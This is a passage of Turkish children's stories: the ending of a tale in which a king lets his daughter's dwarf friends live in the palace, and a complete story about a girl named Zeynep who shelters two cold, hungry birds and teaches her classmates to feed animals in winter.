-‘Fakat onlar beni kaçırmadılar babacığım. Ben onların yanına gittim. Ve onları benim yüzümden o mağaraya mahkûm etmene de çok kızdım.’
Kral prensesin bu sözleri üzerine şaşırmış.
-‘Kim anlattı sana bunları?’ diye gürlemiş.
-‘Cüce arkadaşlarım bana her leyi anlattı baba. Ben onları çok sevdim. Onların yanında ilk defa bu kadar mutlu oldum. Onlar benim arkadaşlarım oldu. Şimdi senden tek bir isteğim var: Lütfen onlar da sarayda kalsın.’
Kral kızının bu isteği üzerine bir müddet düşünmüş.
-‘Sen onları çok mu sevdin bakayım’ diye sormuş prensese.
-‘Evet, babacığım onları çok sevdim ve onlarla birlikteyken çok eğlendim. Benim hiç arkadaşım yok ve sarayda canım çok sıkılıyor. Lütfen artık arkadaşlarım olmasına ve biraz dışarı çıkmama izin ver babacığım.’
Kral kızının bu sözleri üzerine daha fazla dayanamamış ve cüceleri odasına çağırtmış.
-‘Bundan sonra hepiniz sarayda yaşayacaksınız. Siz kızımı çok mutlu etmişsiniz, dolayısıyla beni de mutlu ettiniz. Bundan sonra eviniz burasıdır.’
Prenses koşarak babasına sarılmış. Cüceler de sevinçten zıplayarak birbirlerine sarılmışlar.
O günden sonra prenses ve cüceler sarayda mutlu mesut bir hayat sürdürmüşler. Cüceler tüm sarayın eğlencesi olmuş. Kral bile onlar sayesinde sürekli gülen bir adam haline gelmiş.
Şunu hiçbir zaman unutmayalım arkadaşlar: Mutluluk bir sihirdir ve etkisi tüm etrafa yayılır. Eğer siz mutlu olursanız etrafınızdaki herkes mutlu olur.
Günlerden soğuk bir kış günüymüş. Dışarıda lapa lapa kar yağıyormuş. Küçük Zeynep üzerine en kalın kazağını giyerek koltukta oturmuş, dışarıda yağan karı izliyormuş. ‘Ne kadar da güzel yağıyor’ diye düşünmüş içinden.
Küçük Zeynep bu güzel manzaranın tadını çıkarırken birdenbire camın önüne gelen iki tane kuşu fark etmiş. Kuşlar camın kenarına konmuşlar ve camdan içeri bakmaya başlamışlar. Kuşların ikisi de çok güzelmiş. Bir tanesi bembeyazmış tıpkı dışarıda yağan kar gibi. Diğeri ise gri renkte imiş.
Zeynep oturduğu yerden kuşları incelerken kuşlardan bir tanesi camı tıklatmaya başlamış. Zeynep şaşırmış kuşun camı tıklamasına. Kuş bir daha tıklamış sanki Zeynep’e bir şey söylemek istermiş gibi. Zeynep de koltuktan kalkmış ve camın kenarına yaklaşmış. İki kuş da masum masum Zeynep’e bakıyorlarmış. Daha fazla dayanamayan Zeynep uzanıp camı açmış.
ZEYNEP: ‘Cici kuşlar, siz çok mu üşüdünüz bakayım?’
KUŞ: ‘Evet, çok üşüdük ve çok acıktık. Kar yağdığı için bütün yiyeceklerimiz karın altında kaldı.’
Zeynep kuşların bu haline çok üzülmüş ve onları içeri almış.
ZEYNEP: ‘Anneciğim, gelir misin?’
ANNE: ‘A, bu kuşlar ne kadar güzel böyle.’
ZEYNEP: ‘Anne bu kuşlar çok acıkmış. Onlara yemek verelim mi?’
ANNE: ‘Tabii kızım.’
Annesi mutfağa gidip kuşlara yemeleri için bir şeyler getirmiş. Zeynep de bu sırada kuş arkadaşlarına merak ettiklerini sormaya başlamış.
ZEYNEP: ‘Siz bu soğuklara nasıl dayanıyorsunuz?’
KUŞLAR: ‘Bazen dayanabiliyoruz ama çok soğuk olduğunda maalesef birkaç arkadaşımız ölebiliyor.’
Zeynep kuşun söylediklerine çok üzülmüş. Soğuk hava yüzünden birçok kuş ölebiliyormuş.
ZEYNEP: ‘Öyleyse insanların pencerelerinin önlerine sizin için sürekli yemek koymaları lazım.’
KUŞLAR: ‘Keşke herkes senin gibi düşünceli olsa.’
Zeynep o anda karar vermiş. Yarın okula gittiğinde ilk işi bu konuyu arkadaşlarına anlatmak olacakmış. Herkes dikkat ederse kuşlar bu havalarda aç kalmaz ve ölmezlermiş.
Yemeğini yiyen kuşlar Zeynep’le oyun oynamaya başlamış. Kuşlar bildikleri şarkıları Zeynep’e söylerken Zeynep de onlara okulda öğrendiği yeni şarkıları öğretiyormuş. Küçük Zeynep bu iki kuşla çok iyi arkadaş olmuş. Daha sonra onları odasına götürmüş ve ayısı Bonbon ile tanıştırmış. Kuşlar bonbondan biraz korksalar da onun oyuncak olduğunu öğrendiklerinde rahatlamışlar.
Gece olduğunda hava daha da soğumuş. Zeynep kuşların ikisini de evden çıkarmamış. Kuşlarla birlikte odasında güzel bir uyku uyumuşlar.
Sabah olduğunda gecenin soğuğu gitmiş ve hava güneş açmış. Bunu gören kuşlar çok sevinmişler. Hemen Zeynep’i uyandırmışlar.
KUŞLAR: ‘Bizim gitmemiz lazım. Hava çok güzel ve kendimize yiyecek bir şeyler bulmalıyız. Hem diğer arkadaşlarımız da bizi merak etmiştir.’
ZEYNEP: ‘Ama ben sizi çok sevmiştim. Neden gidiyorsunuz?’
KUŞLAR: ‘ Biz yine geliriz ki. Seni her gün ziyaret etmeye geliriz.’
Zeynep biraz üzülmüş. Ama sonrasında kuşların arkadaşlarının onları merak ettiğini düşünmüş.
ZEYNEP: ‘Peki öyleyse. Beni unutmayın ama sizi çok özleyeceğim.’
KUŞLAR: ‘Biz de seni çok özleyeceğiz ve hiç unutmayacağız. Seni çok sevdik Zeynep. Kendine iyi bak. Ve bu öğrendiklerini okulda tüm arkadaşlarına anlat.
Zeynep o gün okula gittiğinde bütün arkadaşlarına yaşadıklarını anlatmış. Soğuk havalarda camların önüne kuşların yemesi için mutlaka bir şeyler koyulması gerektiğini söylemiş. Öğretmenleri de Zeynep’e bu duyarlılığından dolayı teşekkür etmişler ve tüm sınıf arkadaşlarına Zeynep’i alkışlatmışlar.
Bizler de soğuk havalarda dışarıda yaşayan canlıları unutmayalım. Onlar için bir kap içinde yemek ve su bırakalım. Unutmayalım arkadaşlar, onların yaşamlarına devam etmesi için buna ihtiyaçları var.